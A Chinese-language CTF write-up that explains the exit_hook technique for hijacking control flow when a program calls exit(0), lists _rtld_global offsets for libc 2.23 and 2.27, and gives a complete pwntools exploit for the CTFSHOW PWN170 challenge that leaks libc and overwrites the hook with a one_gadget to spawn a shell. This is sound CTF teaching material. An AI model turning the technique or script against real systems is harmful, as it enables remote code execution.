原理
有时候在一些题中程序没有return,而是直接通过exit(0)来退出,覆盖ret没用了应该如何劫持程序控制流?此时可以用到exit_hook,简单来说就是exit函数会调用__rtld_lock_lock_recursive和 __rtld_lock_unlock_recursive两个函数,把这两个函数改成one_gadget即可。
详细可见这位师傅的文章(*´∇`*) 欢迎回来!
例题:CTFSHOW PWN170
程序逻辑很简单,给出了puts函数地址和栈地址,有无穷次任意地址写的机会,用exit(0) 退出。

且开启了full relro,不能改got表:

根据原理篡改exit_hook,通过p &_rtld_global可以看偏移,这里给出常见版本的exit_hook偏移:
在libc-2.23中
exit_hook = libc_base+0x5f0040+3848
exit_hook = libc_base+0x5f0040+3856
在libc-2.27中
exit_hook = libc_base+0x619060+3840
exit_hook = libc_base+0x619060+3848
直接打就行,用3840打不通,3848能打通,原因未知:
from pwn import *
context(arch ='amd64',os = 'linux',log_level = "debug")
io = remote("pwn.challenge.ctf.show",28114)
elf = ELF('/home/monke/PWN/CTFSHOW/170/170')
libc = ELF('/home/monke/PWN/buulibc/libc-2.27-64.so')
io.recvuntil("puts: ")
puts = io.recv(14)
puts=int(puts,16)
print(hex(puts))
io.recvuntil("stack: ")
stack = io.recv(14)
stack=int(stack,16)
print(hex(stack))
libc_base=puts-libc.sym["puts"]
og=libc_base+0x4f322
exit_hook = libc_base+0x619060+3848
io.sendlineafter("(q)uit\n",b"w")
io.sendlineafter("ptr: ",str(exit_hook))
io.sendlineafter("val: ",str(og))
io.sendlineafter("(q)uit\n",b"q")
io.interactive()
